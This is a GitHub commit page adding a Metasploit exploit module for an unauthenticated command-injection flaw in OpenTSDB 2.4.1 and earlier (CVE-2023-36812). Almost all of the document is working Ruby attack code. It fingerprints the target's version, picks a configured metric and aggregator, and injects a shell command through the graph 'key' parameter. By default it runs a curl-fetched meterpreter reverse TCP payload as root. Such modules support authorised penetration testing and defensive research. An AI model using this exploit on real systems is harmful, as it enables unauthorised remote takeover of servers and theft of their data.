-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
add opentsdb_key_cmd_injection exploit module
- Loading branch information
1 parent
2e75aba
commit 7cabe14
Showing
1 changed file
with
237 additions
and
0 deletions.
There are no files selected for viewing
237 changes: 237 additions & 0 deletions
237
modules/exploits/linux/http/opentsdb_key_cmd_injection.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,237 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'OpenTSDB 2.4.1 unauthenticated command injection', | ||
'Description' => %q{ | ||
This module exploits an unauthenticated command injection | ||
vulnerability in the key parameter in OpenTSDB through | ||
2.4.1 (CVE-2023-36812/CVE-2023-25826) in order to achieve | ||
unauthenticated remote code execution as the root user. | ||
The module first attempts to obtain the OpenTSDB version via | ||
the api. If the version is 2.4.1 or lower, the module | ||
performs additional checks to obtain the configured metrics | ||
and aggregators. It then randomly selects one metric and one | ||
aggregator and uses those to instruct the target server to | ||
plot a graph. As part of this request, the key parameter is | ||
set to the payload, which will then be executed by the target | ||
if the latter is vulnerable. | ||
This module has been successfully tested against OpenTSDB | ||
version 2.4.1. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'Gal Goldstein', # discovery | ||
'Daniel Abeles', # discovery | ||
'Erik Wynter' # @wyntererik - Metasploit | ||
], | ||
'References' => [ | ||
['URL', 'https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw'], # security advisory | ||
['CVE', '2023-36812'], # CVE linked in the official security advisory | ||
['CVE', '2023-25826'] # CVE that seems to be a dupe of CVE-2023-36812 since it describes the same issue and references the PR that introduces the commits that are referenced in CVE-2023-36812 | ||
], | ||
'Platform' => 'linux', | ||
'Arch' => 'ARCH_CMD', | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', | ||
'RPORT' => 4242, | ||
'SRVPORT' => 8080, | ||
'FETCH_COMMAND' => 'CURL', | ||
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4), | ||
'FETCH_WRITABLE_DIR' => '/tmp', | ||
'FETCH_SRVPORT' => 8081 | ||
}, | ||
'Targets' => [ [ 'Linux', {} ] ], | ||
'DefaultTarget' => 0, | ||
'Privileged' => true, | ||
'DisclosureDate' => '2023-07-01', | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE ], | ||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], | ||
'Reliability' => [ REPEATABLE_SESSION ] | ||
} | ||
) | ||
) | ||
|
||
register_options [ | ||
OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']), | ||
] | ||
end | ||
|
||
def check | ||
# sanity check to see if the target is likely OpenTSDB | ||
res1 = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path) | ||
}) | ||
|
||
unless res1 | ||
return CheckCode::Unknown('Connection failed.') | ||
end | ||
|
||
unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB') | ||
return CheckCode::Safe('Target is not an OpenTSDB application.') | ||
end | ||
|
||
# get the version via the api | ||
res2 = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'api', 'version') | ||
}) | ||
|
||
unless res2 | ||
return CheckCode::Unknown('Connection failed.') | ||
end | ||
|
||
unless res2.code == 200 && res2.body.include?('version') | ||
return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.') | ||
end | ||
|
||
begin | ||
parsed_res_body = JSON.parse(res2.body) | ||
rescue JSON::ParserError | ||
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.') | ||
end | ||
|
||
unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version') | ||
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.') | ||
end | ||
|
||
version = parsed_res_body['version'] | ||
|
||
begin | ||
if Rex::Version.new(version) <= Rex::Version.new('2.4.1') | ||
return CheckCode::Appears("The target is OpenTSDB version #{version}") | ||
else | ||
return CheckCode::Safe("The target is OpenTSDB version #{version}") | ||
end | ||
rescue ArgumentError => e | ||
return CheckCode::Unknown("Failed to obtain a valid OpenTSDB version: #{e}") | ||
end | ||
end | ||
|
||
def select_metric | ||
# check if any metrics have been configured. if not, exploitation cannot work | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'suggest'), | ||
'vars_get' => { 'type' => 'metrics' } | ||
}) | ||
|
||
unless res | ||
fail_with(Failure::Unknown, 'Connection failed.') | ||
end | ||
|
||
unless res.code == 200 | ||
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured metrics") | ||
end | ||
|
||
begin | ||
metrics = JSON.parse(res.body) | ||
rescue JSON::ParserError | ||
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.') | ||
end | ||
|
||
unless metrics.is_a?(Array) | ||
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array') | ||
end | ||
|
||
if metrics.empty? | ||
fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible') | ||
end | ||
|
||
# select a random metric since any will do | ||
@metric = metrics.sample | ||
print_status("Identified #{metrics.length} configured metrics. Using metric #{@metric}") | ||
end | ||
|
||
def select_aggregator | ||
# check the configured aggregators and select one at random | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'aggregators') | ||
}) | ||
|
||
unless res | ||
fail_with(Failure::Unknown, 'Connection failed.') | ||
end | ||
|
||
unless res.code == 200 | ||
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured aggregators") | ||
end | ||
|
||
begin | ||
aggregators = JSON.parse(res.body) | ||
rescue JSON::ParserError | ||
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain valid JSON.') | ||
end | ||
|
||
unless aggregators.is_a?(Array) | ||
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain a JSON array') | ||
end | ||
|
||
if aggregators.empty? | ||
fail_with(Failure::NoTarget, 'Failed to identify any configured aggregators. This makes exploitation impossible') | ||
end | ||
|
||
# select a random aggregator since any will do | ||
@aggregator = aggregators.sample | ||
print_status("Identified #{aggregators.length} configured aggregators. Using aggregator #{@aggregator}") | ||
end | ||
|
||
def execute_command(cmd, _opts = {}) | ||
# we need to percent encode the entire command. | ||
# however, the + character cannot be used and percent encoding does not help for it. so we need to change chmod +x with chmod 744 | ||
cmd = CGI.escape(cmd.gsub('chmod +x', 'chmod 744')) | ||
start_time = rand(20.year.ago..10.year.ago) # this should be a date far enough in the past to make sure we capture all possible data | ||
start_value = start_time.strftime('%Y/%m/%d-%H:%M:%S') | ||
end_time = rand(1.year.since..10.year.since) # this can be a date in the future to make sure we capture all possible data | ||
end_value = end_time.strftime('%Y/%m/%d-%H:%M:%S') | ||
get_vars = { | ||
'start' => start_value, | ||
'end' => end_value, | ||
'm' => "#{@aggregator}:#{@metric}", | ||
'o' => 'axis+x1y2', | ||
'ylabel' => Rex::Text.rand_text_alphanumeric(8..12), | ||
'y2label' => Rex::Text.rand_text_alphanumeric(8..12), | ||
'yrange' => '[0:]', | ||
'y2range' => '[0:]', | ||
'key' => "%3Bsystem%20%22#{cmd}%22%20%22", | ||
'wxh' => "#{rand(800..1600)}x#{rand(400..600)}", | ||
'style' => 'linespoint' | ||
} | ||
|
||
exploit_uri = '?' | ||
get_vars.each do |key, value| | ||
exploit_uri += "#{key}=#{value}&" | ||
end | ||
exploit_uri += 'json' | ||
|
||
# using a raw request because cgi was leading to encoding issues | ||
send_request_raw({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'q' + exploit_uri) | ||
}, 0) # we don't have to wait for a reply here | ||
end | ||
|
||
def exploit | ||
select_metric | ||
select_aggregator | ||
print_status('Executing the payload') | ||
execute_command(payload.encoded) | ||
end | ||
end |